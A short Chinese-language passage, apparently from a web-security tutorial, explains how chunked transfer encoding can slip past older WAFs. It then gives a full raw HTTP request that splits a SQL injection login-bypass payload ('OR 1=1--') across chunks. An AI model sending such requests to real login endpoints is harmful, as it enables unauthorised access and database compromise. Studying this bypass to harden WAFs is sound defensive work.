部分旧版或性能受限的 WAF(Web Application Firewall)在解析请求体时不支持 分块传输编码(Transfer-Encoding: chunked),而直接将其交给后端支持分块的 Web 服务器(如 Apache/Tomcat)。攻击者借此切断注入特征串绕过 WAF。
一、分块传输拆分恶意 Payload
http
POST /login HTTP/1.1
Host: vulnerable-target.com
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
4
user
5
=admi
2
n'
5
OR 1
5
=1--
0